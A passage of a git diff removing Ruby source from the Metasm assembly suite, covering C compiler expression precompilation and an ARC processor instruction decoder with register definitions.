copy_inline_ce[ce.rexpr], ce.type) - when Variable; locals[ce] || ce - when ::Array; ce.map { |e_| copy_inline_ce[e_] } - else ce - end - } - copy_inline = lambda { |stmt, scp| - case stmt - when Block - b = Block.new(scp) - stmt.statements.each { |s| - s = copy_inline[s, b] - b.statements << s if s - } - b - when If; If.new(copy_inline_ce[stmt.test], copy_inline[stmt.bthen, scp]) # re-precompile ? - when Label; Label.new(inline_label[stmt.name] ||= compiler.new_label('inline_'+stmt.name)) - when Goto; Goto.new(inline_label[stmt.target] ||= compiler.new_label('inline_'+stmt.target)) - when Return; CExpression.new(rval, :'=', copy_inline_ce[stmt.value], rval.type).precompile_inner(compiler, scp) if stmt.value - when CExpression; copy_inline_ce[stmt] - when Declaration - nv = stmt.var.dup - if nv.type.kind_of? Array and nv.type.length.kind_of? CExpression - nv.type = Array.new(nv.type.type, copy_inline_ce[nv.type.length]) # XXX nested dynamic? - end - locals[stmt.var] = nv - scp.symbol[nv.name] = nv - Declaration.new(nv) - else raise 'unexpected inline statement ' + stmt.inspect - end - } - scope.statements << copy_inline[@lexpr.initializer, scope] # body already precompiled - CExpression.new(nil, nil, rval, rval.type).precompile_inner(compiler, scope) - elsif @type.kind_of? Union - var = Variable.new - var.name = compiler.new_label('return_struct') - var.type = @type - Declaration.new(var).precompile(compiler, scope) - @rexpr.unshift CExpression.new(nil, :&, var, Pointer.new(var.type)) - - var2 = Variable.new - var2.name = compiler.new_label('return_struct_ptr') - var2.type = Pointer.new(@type) - var2.storage = :register - CExpression.precompile_type(compiler, scope, var2) - Declaration.new(var2).precompile(compiler, scope) - @type = var2.type - CExpression.new(var2, :'=', self, var2.type).precompile(compiler, scope) - - CExpression.new(nil, :'*', var2, var.type).precompile_inner(compiler, scope) - else - t = @lexpr.type.untypedef - t = t.type.untypedef if t.pointer? - @lexpr = CExpression.precompile_inner(compiler, scope, @lexpr) - types = t.args.map { |a| a.type } - # cast args to func prototype - @rexpr.map! { |e_| (types.empty? ? e_ : CExpression.new(nil, nil, e_, types.shift)).precompile_inner(compiler, scope) } - CExpression.precompile_type(compiler, scope, self) - self - end - when :',' - lexpr = @lexpr.kind_of?(CExpression) ? @lexpr : CExpression.new(nil, nil, @lexpr, @lexpr.type) - rexpr = @rexpr.kind_of?(CExpression) ? @rexpr : CExpression.new(nil, nil, @rexpr, @rexpr.type) - lexpr.precompile(compiler, scope) - rexpr.precompile_inner(compiler, scope) - when :'!' - CExpression.precompile_type(compiler, scope, self) - if @rexpr.kind_of?(CExpression) - case @rexpr.op - when :'<', :'>', :'<=', :'>=', :'==', :'!=' - @op = { :'<' => :'>=', :'>' => :'<=', :'<=' => :'>', :'>=' => :'<', - :'==' => :'!=', :'!=' => :'==' }[@rexpr.op] - @lexpr = @rexpr.lexpr - @rexpr = @rexpr.rexpr - precompile_inner(compiler, scope) - when :'&&', :'||' - @op = { :'&&' => :'||', :'||' => :'&&' }[@rexpr.op] - @lexpr = CExpression.new(nil, :'!', @rexpr.lexpr, @type) - @rexpr = CExpression.new(nil, :'!', @rexpr.rexpr, @type) - precompile_inner(compiler, scope) - when :'!' - if @rexpr.rexpr.kind_of? CExpression - @op = nil - @rexpr = @rexpr.rexpr - else - @op = :'!=' - @lexpr = @rexpr.rexpr - @rexpr = CExpression.new(nil, nil, 0, @lexpr.type) - end - precompile_inner(compiler, scope) - else - @rexpr = CExpression.precompile_inner(compiler, scope, @rexpr) - self - end - else - @rexpr = CExpression.precompile_inner(compiler, scope, @rexpr) - self - end - when :'++', :'--' - if not @rexpr - var = Variable.new - var.storage = :register - var.name = compiler.new_label('postincrement') - var.type = @type - Declaration.new(var).precompile(compiler, scope) - CExpression.new(var, :'=', @lexpr, @type).precompile(compiler, scope) - CExpression.new(nil, @op, @lexpr, @type).precompile(compiler, scope) - @lexpr = nil - @op = nil - @rexpr = var - precompile_inner(compiler, scope) - elsif @type.pointer? and compiler.sizeof(nil, @type.untypedef.type.untypedef) != 1 - # ++ptr => ptr += sizeof(*ptr) (done in += precompiler) - @op = { :'++' => :'+=', :'--' => :'-=' }[@op] - @lexpr = @rexpr - @rexpr = CExpression.new(nil, nil, 1, BaseType.new(:ptr, :unsigned)) - precompile_inner(compiler, scope) - else - CExpression.precompile_type(compiler, scope, self) - @rexpr = CExpression.precompile_inner(compiler, scope, @rexpr) - self - end - when :'=' - # handle structure assignment/array assignment - case @lexpr.type.untypedef - when Union - # rexpr may be a :funcall - @rexpr = CExpression.precompile_inner(compiler, scope, @rexpr) - @lexpr.type.untypedef.members.zip(@rexpr.type.untypedef.members) { |m1, m2| - # assume m1 and m2 are compatible - v1 = CExpression.new(@lexpr, :'.', m1.name, m1.type) - v2 = CExpression.new(@rexpr, :'.', m2.name, m1.type) - CExpression.new(v1, :'=', v2, v1.type).precompile(compiler, scope) - } - # (foo = bar).toto - @op = nil - @rexpr = @lexpr - @lexpr = nil - @type = @rexpr.type - precompile_inner(compiler, scope) if nested - when Array - if not len = @lexpr.type.untypedef.length - @rexpr = CExpression.precompile_inner(compiler, scope, @rexpr) - # char toto[] = "bla" - if @rexpr.kind_of? CExpression and not @rexpr.lexpr and not @rexpr.op and - @rexpr.rexpr.kind_of? Variable and @rexpr.rexpr.type.kind_of? Array - len = @rexpr.rexpr.type.length - end - end - raise 'array initializer with no length !' if not len - # TODO optimize... - len.times { |i| - i = CExpression.new(nil, nil, i, BaseType.new(:long, :unsigned)) - v1 = CExpression.new(@lexpr, :'[]', i, @lexpr.type.untypedef.type) - v2 = CExpression.new(@rexpr, :'[]', i, v1.type) - CExpression.new(v1, :'=', v2, v1.type).precompile(compiler, scope) - } - @op = nil - @rexpr = @lexpr - @lexpr = nil - @type = @rexpr.type - precompile_inner(compiler, scope) if nested - else - @lexpr = CExpression.precompile_inner(compiler, scope, @lexpr) - @rexpr = CExpression.precompile_inner(compiler, scope, @rexpr) - CExpression.precompile_type(compiler, scope, self) - self - end - when nil - case @rexpr - when Block - # compound statements - raise 'compound statement in toplevel' if scope == compiler.toplevel # just in case - var = Variable.new - var.storage = :register - var.name = compiler.new_label('compoundstatement') - var.type = @type - CExpression.precompile_type(compiler, scope, var) - Declaration.new(var).precompile(compiler, scope) - if @rexpr.statements.last.kind_of? CExpression - @rexpr.statements[-1] = CExpression.new(var, :'=', @rexpr.statements[-1], var.type) - @rexpr.precompile(compiler, scope) - end - @rexpr = var - precompile_inner(compiler, scope) - when ::String - # char[] immediate - v = Variable.new - v.storage = :static - v.name = 'char_' + @rexpr.tr('^a-zA-Z', '')[0, 8] - v.type = Array.new(@type.type) - v.type.length = @rexpr.length + 1 - v.type.type.qualifier = [:const] - v.initializer = CExpression.new(nil, nil, @rexpr, @type) - Declaration.new(v).precompile(compiler, scope) - @rexpr = v - precompile_inner(compiler, scope) - when ::Float - # float immediate - v = Variable.new - v.storage = :static - v.name = @type.untypedef.name.to_s - v.type = @type - v.type.qualifier = [:const] - v.initializer = CExpression.new(nil, nil, @rexpr, @type) - Declaration.new(v).precompile(compiler, scope) - @rexpr = CExpression.new(nil, :'*', v, v.type) - precompile_inner(compiler, scope) - when CExpression - # simplify casts - CExpression.precompile_type(compiler, scope, self) - # propagate type first so that __uint64 foo() { return -1 } => 0xffffffffffffffff - @rexpr.type = @type if @rexpr.kind_of? CExpression and @rexpr.op == :- and not @rexpr.lexpr and @type.kind_of? BaseType and @type.name == :__int64 # XXX kill me - @rexpr = @rexpr.precompile_inner(compiler, scope) - if @type.kind_of? BaseType and @rexpr.type.kind_of? BaseType - if @rexpr.type == @type - # noop cast - @lexpr, @op, @rexpr = @rexpr.lexpr, @rexpr.op, @rexpr.rexpr - elsif not @rexpr.op and @type.integral? and @rexpr.type.integral? - if @rexpr.rexpr.kind_of? ::Numeric and (val = reduce(compiler)).kind_of? ::Numeric - @rexpr = val - elsif compiler.typesize[@type.name] < compiler.typesize[@rexpr.type.name] - # (char)(short)(int)(long)foo => (char)foo - @rexpr = @rexpr.rexpr - end - end - end - self - else - CExpression.precompile_type(compiler, scope, self) - self - end - else - # int+ptr => ptr+int - if @op == :+ and @lexpr and @lexpr.type.integral? and @rexpr.type.pointer? - @rexpr, @lexpr = @lexpr, @rexpr - end - - # handle pointer + 2 == ((char *)pointer) + 2*sizeof(*pointer) - if @rexpr and [:'+', :'+=', :'-', :'-='].include? @op and - @type.pointer? and @rexpr.type.integral? - sz = compiler.sizeof(nil, @type.untypedef.type.untypedef) - if sz != 1 - sz = CExpression.new(nil, nil, sz, @rexpr.type) - @rexpr = CExpression.new(@rexpr, :'*', sz, @rexpr.type) - end - end - - # type promotion => cast - case @op - when :+, :-, :*, :/, :&, :|, :^, :% - if @lexpr - if @lexpr.type != @type - @lexpr = CExpression.new(nil, nil, @lexpr, @lexpr.type) if not @lexpr.kind_of? CExpression - @lexpr = CExpression.new(nil, nil, @lexpr, @type) - end - if @rexpr.type != @type - @rexpr = CExpression.new(nil, nil, @rexpr, @rexpr.type) if not @rexpr.kind_of? CExpression - @rexpr = CExpression.new(nil, nil, @rexpr, @type) - end - end - when :>>, :<< - # char => int - if @lexpr.type != @type - @lexpr = CExpression.new(nil, nil, @lexpr, @lexpr.type) if not @lexpr.kind_of? CExpression - @lexpr = CExpression.new(nil, nil, @lexpr, @type) - end - when :'+=', :'-=', :'*=', :'/=', :'&=', :'|=', :'^=', :'%=' - if @rexpr.type != @lexpr.type - @rexpr = CExpression.new(nil, nil, @rexpr, @rexpr.type) if not @rexpr.kind_of? CExpression - @rexpr = CExpression.new(nil, nil, @rexpr, @type) - end - end - - @lexpr = CExpression.precompile_inner(compiler, scope, @lexpr) - @rexpr = CExpression.precompile_inner(compiler, scope, @rexpr) - - if @op == :'&' and not @lexpr - rr = @rexpr - rr = rr.rexpr while rr.kind_of? CExpression and not rr.op - if rr.kind_of? CExpression and rr.op == :'*' and not rr.lexpr - @lexpr = nil - @op = nil - @rexpr = rr.rexpr - return precompile_inner(compiler, scope) - elsif rr != @rexpr - @rexpr = rr - return precompile_inner(compiler, scope) - end - end - - CExpression.precompile_type(compiler, scope, self) - - isnumeric = lambda { |e_| e_.kind_of?(::Numeric) or (e_.kind_of? CExpression and - not e_.lexpr and not e_.op and e_.rexpr.kind_of? ::Numeric) } - - # calc numeric - # XXX do not simplify operations involving variables (for type overflow etc) - if isnumeric[@rexpr] and (not @lexpr or isnumeric[@lexpr]) and (val = reduce(compiler)).kind_of? ::Numeric - @lexpr = nil - @op = nil - @rexpr = val - end - - self - end - end - end -end -end diff --git a/lib/metasm/metasm/cpu/arc.rb b/lib/metasm/metasm/cpu/arc.rb deleted file mode 100644 index 3ee319836c..0000000000 --- a/lib/metasm/metasm/cpu/arc.rb +++ /dev/null @@ -1,8 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2010 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/main' -require 'metasm/cpu/arc/decode' diff --git a/lib/metasm/metasm/cpu/arc/decode.rb b/lib/metasm/metasm/cpu/arc/decode.rb deleted file mode 100644 index 9b93a3528b..0000000000 --- a/lib/metasm/metasm/cpu/arc/decode.rb +++ /dev/null @@ -1,425 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2010 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -require 'metasm/cpu/arc/opcodes' -require 'metasm/decode' - -module Metasm -class ARC - def major_opcode(val, sz = 16) - return val >> (sz == 16 ? 0xB : 0x1B) - end - - def sub_opcode(val) - return ((val >> 16) & 0x3f) - end - - def build_opcode_bin_mask(op, sz) - op.bin_mask = 0 - op.args.each { |f| op.bin_mask |= @fields_mask[f] << @fields_shift[f]} - op.bin_mask = ((1 << sz)-1) ^ op.bin_mask - end - - def build_bin_lookaside - bin_lookaside = {} - opcode_list.each{|mode,oplist| - lookaside = {} - # 2nd level to speed up lookaside for major 5 - lookaside[5] = {} - oplist.each { |op| - next if not op.bin.kind_of? Integer - build_opcode_bin_mask(op, mode) - mj = major_opcode(op.bin, mode) - if mode == 32 and mj == 5 - (lookaside[mj][sub_opcode(op.bin)] ||= []) << op - else - (lookaside[mj] ||= []) << op - end - } - bin_lookaside[mode] = lookaside - } - bin_lookaside - end - - def instruction_size(edata) - val = major_opcode(edata.decode_imm(:u16, @endianness)) - edata.ptr -= 2 - (val >= 0xC) ? 16 : 32 - end - - def memref_size(di) - case di.opcode.name - when 'ldb_s', 'stb_s', 'extb_s', 'sexb_s'; 1 - when 'ldw_s', 'stw_s', 'extw_s', 'sexw_s'; 2 - else 4 - end - end - - def decode_bin(edata, sz) - case sz - when 16; edata.decode_imm(:u16, @endianness) - when 32 - # wordswap - val = edata.decode_imm(:u32, :little) - ((val >> 16) & 0xffff) | ((val & 0xffff) << 16) - end - end - - def decode_findopcode(edata) - di = DecodedInstruction.new(self) - - @instrlength = instruction_size(edata) - val = decode_bin(edata, @instrlength) - edata.ptr -= @instrlength/8 - - maj = major_opcode(val, @instrlength) - lookaside = @bin_lookaside[@instrlength][maj] - lookaside = lookaside[sub_opcode(val)] if @instrlength == 32 and maj == 5 - - op = lookaside.select { |opcode| - if $ARC_DEBUG and (val & opcode.bin_mask) == opcode.bin - puts "#{opcode.bin_mask.to_s(16)} - #{opcode.bin.to_s(16)} - #{(val & opcode.bin_mask).to_s(16)} - #{opcode.name} - #{opcode.args}" - end - (val & opcode.bin_mask) == opcode.bin - } - - if op.size == 2 and op.first.name == 'mov' and op.last.name == 'nop' - op = op.last - elsif op == nil or op.size != 1 - puts "[> I sense a disturbance in the force <]" - op.to_a.each { |opcode| puts "#{opcode.name} - #{opcode.args} - #{Expression[opcode.bin]} - #{Expression[opcode.bin_mask]}" } - puts "current value: #{Expression[val]}" - puts "current value: 0b#{val.to_s(2)}" - op = nil - else - op = op.first - end - - di if di.opcode = op - end - - Reduced_reg = [0, 1, 2, 3, 12, 13, 14, 15] - def reduced_reg_set(i) - Reduced_reg[i] - end - - def decode_instr_op(edata, di) - before_ptr = edata.ptr - op = di.opcode - di.instruction.opname = op.name - val = decode_bin(edata, @instrlength) - - field_val = lambda { |f| - r = (val >> @fields_shift[f]) & @fields_mask[f] - case f - - # 16-bits instruction operands ------------------------------------------" - when :ca, :cb, :cb2, :cb3, :cc; r = reduced_reg_set(r) - when :ch - r = (((r & 7) << 3) | (r >> 5)) - when :@cbu7, :@cbu6, :@cbu5 - r = r & 0b11111 - r = (f == :@cbu7) ? r << 2 : ( (f == :@cbu6) ? r << 1 : r) - when :cu5ee; r = r << 2 - when :cdisps13 - r = (Expression.make_signed(r,11) << 2) + ((di.address >> 2) << 2) - when :cdisps10 - r = (Expression.make_signed(r, 9) << 1) + ((di.address >> 2) << 2) - when :cdisps8 - r = (Expression.make_signed(r, 7) << 1) + ((di.address >> 2) << 2) - when :cdisps7 - r = (Expression.make_signed(r, 6) << 1) + ((di.address >> 2) << 2) - when :cs9, :cs10, :cs11 - r = Expression.make_signed(r, ((f== :cs11 ? 11 : (f == :cs10 ? 10 : 9) ))) - r = (f == :cs11) ? r << 2 : ((f == :cs10) ? r << 1 : r) - when :@cspu7; - r = r << 2 - - # 32-bits instruction operands ------------------------------------------" - when :b - r = (r >> 12) | ((r & 0x7) << 3) - when :s8e - r = ((r & 0x1) << 7) | (r >> 2) - r = (Expression.make_signed(r, 8) << 1) + ((di.address >> 2) << 2) - - when :u6e - r = (r << 1) + ((di.address >> 2) << 2) - when :s9 - r = (Expression.make_signed(r, 7) << 1) + ((di.address >> 2) << 2) - - when :s12 - r = (r >> 6) | ((r & 0x3f) << 6) - r = Expression.make_signed(r, 12) - - when :s12e - r = (r >> 6) | ((r & 0x3f) << 6) - r = (Expression.make_signed(r, 12) <<1 ) + ((di.address >> 2) << 2) - - when :s21e - r = ((r & 0x3ff) << 10) | (r >> 11) - r = (Expression.make_signed(r, 20) << 1) + ((di.address >> 2) << 2) - - when :s21ee # pc-relative - r = ((r & 0x3ff) << 9) | (r >> 12) - r = (Expression.make_signed(r, 19) << 2) + ((di.address >> 2) << 2) - - when :s25e # pc-relative - r = ((r & 0xf) << 20) | (((r >> 6) & 0x3ff) << 10) | (r >> 17) - r = (Expression.make_signed(r, 24) << 1) + ((di.address >> 2) << 2) - - when :s25ee # pc-relative - r = ((r & 0xf) << 19) | (((r >> 6) & 0x3ff) << 9) | (r >> 18) - r = (Expression.make_signed(r, 23) << 2) + ((di.address >> 2) << 2) - - when :@bs9 - r = r >> 3 - s9 = ((r & 1) << 8) | ((r >> 1) & 0xff) - r = Expression.make_signed(s9, 9) - - when :bext, :cext, :@cext - if ((r = field_val[(f == :bext) ? :b : :c]) == 0x3E) - tmp = edata.decode_imm(:u32, :little) - r = Expression[(tmp >> 16) | ((tmp & 0xffff) << 16)] - else - r = GPR.new(r) - end - - else r - end - r - } - - # decode properties fields - op.args.each { |a| - case a - when :flags15, :flags16 - di.instruction.opname += '.f' if field_val[a] != 0 - when :ccond - di.instruction.opname += ('.' + @cond_suffix[field_val[a]]) if field_val[a] != 0 - when :delay5, :delay16 - di.instruction.opname += '.d' if field_val[a] != 0 - when :cache5, :cache11, :cache16 - di.instruction.opname +='.di' if field_val[a] != 0 - when :signext6, :signext16 - di.instruction.opname += '.x' if field_val[a] != 0 - when :wb3, :wb9, :wb22 - case field_val[a] - when 1; di.instruction.opname += ((memref_size(di) == 2) ? '.ab' : '.a') - when 2; di.instruction.opname += '.ab' - when 3; di.instruction.opname += '.as' - end - when :sz1, :sz7, :sz16, :sz17 - case field_val[a] - when 1; di.instruction.opname += 'b' - when 2; di.instruction.opname += 'w' - end - else - di.instruction.args << case a - - # 16-bits instruction operands ------------------------------------------" - when :cr0; GPR.new 0 - when :ca, :cb, :cb2, :cb3, :cc; GPR.new(field_val[a]) - when :ch - if ((r = field_val[a]) == 0x3E) - tmp = edata.decode_imm(:u32, :little) - Expression[(tmp >> 16) | ((tmp & 0xffff) << 16)] - else - GPR.new(r) - end - - when :@gps9, :@gps10, :@gps11 - imm = (a == :@gps11) ? :cs11 : (a == :@gps10) ? :cs10 : :cs9 - Memref.new(GPR.new(26), Expression[field_val[imm]], memref_size(di)) - - when :cu3, :cu5, :cu5ee, :cu6, :cu7, :cu7l, :cu8; Expression[field_val[a]] - when :cs9, :cs10, :cs11; Expression[field_val[a]] - when :cdisps7, :cdisps8, :cdisps10, :cdisps13; Expression[field_val[a]] - when :@cb; Memref.new(GPR.new(field_val[:cb]), nil, memref_size(di)) - when :@cbu7, :@cbu6, :@cbu5; Memref.new(GPR.new(field_val[:cb]), Expression[field_val[a]], memref_size(di)) - when :@cspu7; Memref.new(GPR.new(28), field_val[a], memref_size(di)) - when :@cbcc; Memref.new(field_val[:cb], field_val[:cc], memref_size(di)) - - # 32-bits instruction operands ------------------------------------------" - when :a, :b - ((r = field_val[a]) == 0x3E) ? :zero : GPR.new(r) - when :b2; GPR.new field_val[:b] - when :c; GPR.new field_val[a] - when :bext, :cext; field_val[a] - when :@cext - target = field_val[a] - (di.opcode.props[:setip] and target.kind_of? GPR) ? Memref.new(target, nil, memref_size(di)) : target - - when :@bextcext - tmp = field_val[a] - #c = tmp & 0x3F - tmp = tmp >> 6 - b = (tmp >> 12) | ((tmp & 0x7) << 3) - Memref.new(field_val[:bext], field_val[:cext], memref_size(di)) - - when :u6, :u6e, :s8e, :s9, :s12; Expression[field_val[a]] - when :s12e, :s21e, :s21ee, :s25e, :s25ee; Expression[field_val[a]] - when :auxs12; AUX.new field_val[:s12] - when :@c; Memref.new(GPR.new(field_val[a]), nil, memref_size(di)) - when :@bcext; Memref.new(field_val[a], nil, memref_size(di)) - when :@bcext; Memref.new(field_val[:b], field_val[:cext], memref_size(di)) - when :@bs9 - # [b,s9] or [limm] if b = 0x3E - base = field_val[:bext] - Memref.new(base, (base.kind_of? GPR) ? Expression[field_val[a]] : nil, memref_size(di)) - - # common instruction operands ------------------------------------------" - when :zero; Expression[0] - when :gp; GPR.new(26) - when :sp, :sp2; GPR.new(28) - when :blink; GPR.new(31) - when :@ilink1; Memref.new(GPR.new(29), nil, memref_size(di)) - when :@ilink2; Memref.new(GPR.new(30), nil, memref_size(di)) - when :@blink; Memref.new(GPR.new(31), nil, memref_size(di)) - - else raise SyntaxError, "Internal error: invalid argument #{a} in #{op.name}" - end - end - } - - di.bin_length += edata.ptr - before_ptr - - return if edata.ptr > edata.virtsize - - di - end - - def disassembler_default_func - df = DecodedFunction.new - df.backtrace_binding = {} - 15.times { |i| - df.backtrace_binding["r#{i}".to_sym] = Expression::Unknown - } - df.backtracked_for = [] - df.btfor_callback = lambda { |dasm, btfor, funcaddr, calladdr| - if funcaddr != :default - btfor - elsif di = dasm.decoded[calladdr] and di.opcode.props[:saveip] - btfor - else [] - end - } - df - end - - REG_SYMS = [:r26, :r27, :r28, :r29, :r30, :r31, :r60] - def register_symbols - REG_SYMS - end - - def backtrace_binding - @backtrace_binding ||= init_backtrace_binding - end - - def opshift(op) - op[/\d/].to_i - end - - def with_res(arg) - arg != :zero - end - - def init_backtrace_binding - sp = :r28 - blink = :r31 - - @backtrace_binding ||= {} - - mask = lambda { |sz| (1 << sz)-1 } # 32bits => 0xffff_ffff - - opcode_list.each{|mode, oplist| - oplist.map { |ol| ol.name }.uniq.each { |op| - binding = case op - when /^add/, /^sub/ - lambda { |di, a0, a1, a2| - if (shift = opshift(op)) == 0 - { a0 => Expression[[a1, :+, a2], :&, mask[32]] } - else - { a0 => Expression[[a1, :+, [a2, :<<, shift]], :&, mask[32]] } - end - } - when /^and/ - lambda { |di, a0, a1, a2| { a0 => Expression[a1, :&, a2] } } - when /^asl/ - lambda { |di, *a| { a[0] => Expression[[a[1], :<<, (a[2] ? a[2]:1)], :&, mask[32]] } } - when /^bxor/ - lambda { |di, a0, a1, a2| { a0 => Expression[a1, :^, [1, :<<, a2]] }} - when /^bclr/; lambda { |di, a0, a1, a2| { a0 => Expression[a1, :&, Expression[mask[32], :^, Expression[1, :<<, a2]]] } } - when /^bset/; lambda { |di, a0, a1, a2| { a0 => Expression[a1, :|, Expression[1, :<<, a2]] } } - when /^jl/; lambda { |di, a0| { blink => Expression[di.next_addr] } } - when 'bl', 'bl_s', /^bl\./ - # FIXME handle delay slot - # "This address is taken either from the first instruction following the branch (current PC) or the - # instruction after that (next PC) according to the delay slot mode (.d)." - lambda { |di, a0| { blink => Expression[di.next_addr] } } - when /^mov/, /^lr/, /^ld/; lambda { |di, a0, a1| { a0 => a1 } } - when /^neg/; lambda { |di, a0, a1| { a0 => Expression[[0, :-, a1], :&, mask[32]] } } - when /^not/; lambda { |di, a0, a1| { a0 => Expression[[:~, a1], :&, mask[32]] } } - when /^or/; lambda { |di, a0, a1, a2| { a0 => Expression[a1, :|, a2] } } - when /^st/, /^sr/; lambda { |di, a0, a1| { a1 => a0 } } - when /^ex/; lambda { |di, a0, a1| { a1 => a0 , a0 => a1 } } - when 'push_s' - lambda { |di, a0| { - sp => Expression[sp, :-, 4], - Indirection[sp, @size/8, di.address] => Expression[a0] - } } - when 'pop_s' - lambda { |di, a0| { - a0 => Indirection[sp, @size/8, di.address], - sp => Expression[sp, :+, 4] - } } - end - @backtrace_binding[op] ||= binding if binding - } - } - - @backtrace_binding - end - - def get_backtrace_binding(di) - a = di.instruction.args.map { |arg| - case arg - when GPR; arg.symbolic - when Memref; arg.symbolic(di.address) - else arg - end - } - - if binding = backtrace_binding[di.opcode.basename] - binding[di, *a] - else - puts "unhandled instruction to backtrace: #{di}" if $VERBOSE - { :incomplete_binding => Expression[1] } - end - end - - def get_xrefs_x(dasm, di) - return [] if not di.opcode.props[:setip] - - arg = case di.opcode.name - when 'b', 'b_s', /^j/, /^bl/, /^br/, 'lp' - expr = di.instruction.args.last - expr.kind_of?(Memref) ? expr.base : expr - else di.instruction.args.last - end - - [Expression[(arg.kind_of?(Reg) ? arg.symbolic : arg)]] - end - - def backtrace_is_function_return(expr, di=nil) - Expression[expr].reduce == Expression[register_symbols[5]] - end - - def delay_slot(di=nil) - return 0 if (not di) or (not di.opcode.props[:setip]) - return 1 if di.opcode.props[:delay_slot] - (di.instruction.opname =~ /\.d/) ? 0 : 1 - end -end -end diff --git a/lib/metasm/metasm/cpu/arc/main.rb b/lib/metasm/metasm/cpu/arc/main.rb deleted file mode 100644 index 2d0a5bd042..0000000000 --- a/lib/metasm/metasm/cpu/arc/main.rb +++ /dev/null @@ -1,191 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2010 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -require 'metasm/main' - -module Metasm -class ARC < CPU - def initialize(e = :little) - super() - @endianness = e - @size = 32 - end - - class Reg - include Renderable - - attr_accessor :i - - def initialize(i); @i = i end - - def ==(o) - o.class == self.class and o.i == i - end - end - - # general purpose reg - # Result R0-R1 - # Arguments R0-R7 - # Caller Saved Registers R0-R12 - # Callee Saved Registers R13-R25 - # Static chain pointer (if required) R11 - # Register for temp calculation R12 - # Global Pointer R26 (GP) - # Frame Pointer R27 (FP) - # Stack Pointer R28 (SP) - # Interrupt Link Register 1 R29 (ILINK1) - # Interrupt Link Register 2 R30 (ILINK2) - # Branch Link Register R31 (BLINK) - class GPR < Reg - Sym = (0..64).map { |i| "r#{i}".to_sym } - def symbolic; Sym[@i] end - - Render = { - 26 => 'gp', # global pointer, used to point to small sets of shared data throughout execution of a program - 27 => 'fp', # frame pointer - 28 => 'sp', # stak pointer - 29 => 'ilink1', # maskable interrupt link register - 30 => 'ilink2', # maskable interrupt link register 2 - 31 => 'blink', # branch link register - 60 => 'lp_count', # loop count register (24 bits) - # "When a destination register is set to r62 there is no destination for the result of the instruction so the - # result is discarded. Any flag updates will still occur according to the set flags directive (.F or implicit - # in the instruction)." - 62 => 'zero' - } - - def render - if s = Render[i] - [s] - else - # r0-r28 general purpose registers - # r32-r59 reserved for extentions - ["r#@i"] - end - end - - end - - class AUX < Reg - def symbolic; "aux#{i}".to_sym end - - Render = { - 0x00 => 'status', # Status register (Original ARCtangent-A4 processor format) - 0x01 => 'semaphore', # Inter-process/Host semaphore register - 0x02 => 'lp_start', # Loop start address (32-bit) - 0x03 => 'lp_end', # Loop end address (32-bit) - 0x04 => 'identity', # Processor Identification register - 0x05 => 'debug', # Debug register - 0x06 => 'pc', # PC register (32-bit) - 0x0A => 'status32', # Status register (32-bit) - 0x0B => 'status32_l1', # Status register save for level 1 interrupts - 0x0C => 'status32_l2', # Status register save for level 2 interrupts - 0x10 => 'ic_ivic', # Cache invalidate - 0x11 => 'ic_ctrl', # Mode bits for cache controller - 0x12 => 'mulhi', # High part of Multiply - 0x19 => 'ic_ivil', - 0x21 => 'timer0_cnt', # Processor Timer 0 Count value - 0x22 => 'timer0_ctrl', # Processor Timer 0 Control value - 0x23 => 'timer0_limit', # Processor Timer 0 Limit value - 0x25 => 'int_vector_base', # Interrupt Vector Base address - 0x40 => 'im_set_dc_ctrl', - 0x41 => 'aux_macmode', # Extended Arithmetic Status and Mode - 0x43 => 'aux_irq_lv12', # Interrupt Level Status - 0x47 => 'dc_ivdc', # Invalidate cache - 0x48 => 'dc_ctrl', # Cache control register - 0x49 => 'dc_ldl', # Lock data line - 0x4A => 'dc_ivdl', # Invalidate data line - 0x4B => 'dc_flsh', # Flush data cache - 0x4C => 'dc_fldl', # Flush data line - 0x58 => 'dc_ram_addr', # Access RAM address - 0x59 => 'dc_tag', # Tag Access - 0x5A => 'dc_wp', # Way Pointer Access - 0x5B => 'dc_data', # Data Access - 0x62 => 'crc_bcr', - 0x64 => 'dvfb_bcr', - 0x65 => 'extarith_bcr', - 0x68 => 'vecbase_bcr', - 0x69 => 'perbase_bcr', - 0x6f => 'mmu_bcr', - 0x72 => 'd_cache_build', # Build: Data Cache - 0x73 => 'madi_build', # Build: Multiple ARC Debug I/F - 0x74 => 'ldstram_build', # Build: LD/ST RAM - 0x75 => 'timer_build', # Build: Timer - 0x76 => 'ap_build', # Build: Actionpoints - 0x77 => 'i_cache_build', # Build: I-Cache - 0x78 => 'addsub_build', # Build: Saturated Add/Sub - 0x79 => 'dspram_build', # Build: Scratch RAM & XY Memory - 0x7B => 'multiply_build', # Build: Multiply - 0x7C => 'swap_build', # Build: Swap - 0x7D => 'norm_build', # Build: Normalise - 0x7E => 'minmax_build', # Build: Min/Max - 0x7F => 'barrel_build', # Build: Barrel Shift - 0x100 => 'timer1_cnt', # Processor Timer 1 Count value - 0x101 => 'timer1_ctrl', # Processor Timer 1 Control value - 0x102 => 'timer1_limit', # Processor Timer 1 Limit value - 0x200 => 'aux_irq_lev', # Interrupt Level Programming - 0x201 => 'aux_irq_hint', # Software Triggered Interrupt - 0x202 => 'aux_irq_mask', # Masked bits for Interrupts - 0x203 => 'aux_irq_base', # Interrupt Vector base address - 0x400 => 'eret', # Exception Return Address - 0x401 => 'erbta', # Exception Return Branch Target Address - 0x402 => 'erstatus', # Exception Return Status - 0x403 => 'ecr', # Exception Cause Register - 0x404 => 'efa', # Exception Fault Address - 0x40A => 'icause1', # Level 1 Interrupt Cause Register - 0x40B => 'icause2', # Level 2 Interrupt Cause Register - 0x40C => 'aux_ienable', # Interrupt Mask Programming - 0x40D => 'aux_itrigger', # Interrupt Sensitivity Programming - 0x410 => 'xpu', # User Mode Extension Enables - 0x412 => 'bta', # Branch Target Address - 0x413 => 'bta_l1', # Level 1 Return Branch Target - 0x414 => 'bta_l2', # Level 2 Return Branch Target - 0x415 => 'aux_irq_pulse_cancel', # Interrupt Pulse Cancel - 0x416 => 'aux_irq_pending', # Interrupt Pending Register - } - - def render - if s = Render[i] - [s] - else - ["aux#@i"] - end - end - end - - class Memref - attr_accessor :base, :disp - - def initialize(base, disp, sz) - 